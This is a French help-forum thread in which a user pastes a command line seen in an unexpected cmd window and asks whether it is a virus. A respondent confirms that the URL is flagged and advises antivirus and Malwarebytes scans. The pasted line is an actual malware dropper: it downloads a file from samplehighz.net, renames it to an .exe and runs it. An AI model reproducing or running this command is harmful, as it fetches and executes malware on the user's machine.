Virus sur cmd ?

Fermé
Mephistokitsune - Modifié le 21 oct. 2017 à 23:01
 Mephistokitsune - 22 oct. 2017 à 01:38
Bonjour, ^^
Quand mon cmd s'ouvre tout seule et se ferme tout seule il affiche cela :
C:\WINDOWS\system32>cmd /v /c "SET "xi=573511866"&&C:\WINDOWS\SysWOW64\7057037.exe /transfer WindowsUpdateService /download /priority high http://samplehighz.net/gpr.zip "C:\Users\xxdar\AppData\Local\Temp\_KB9573338.zip"&&rename "C:\Users\xxdar\AppData\Local\Temp\_KB9573338.zip" KB!xi!.exe&&C:\Users\xxdar\AppData\Local\Temp\KB!xi!.exe i"

j'ai regardé ou sa aller le fichier s’est multiplié puis il s'est supprimé devrais-je m’inquiéter ?

1 réponse

didmed Messages postés 2660 Date d'inscription dimanche 19 décembre 2004 Statut Membre Dernière intervention 19 avril 2024 740
22 oct. 2017 à 01:29
Salut

je confirme > l'URL http://samplehighz.net/gpr.zip rapatrie une grosse daube > je ne l'ai pas ouvert mais mon antivirus l'a détecté

Donc faire:
- un scan complet du disque C:\ d'urgence avec ton anti-virus
- un scan avec Malwarebytes

Redémarrer le PC




@
0
Mephistokitsune
22 oct. 2017 à 01:38
j'ai fait avec norton un scan il ma tout réparé ( à ce qu'il parait ) je ferai demain encore des analyse mais en tout cas avec malware j'en ai fais des scan sa revenait à chaque fois que je redemarer mon pc..
0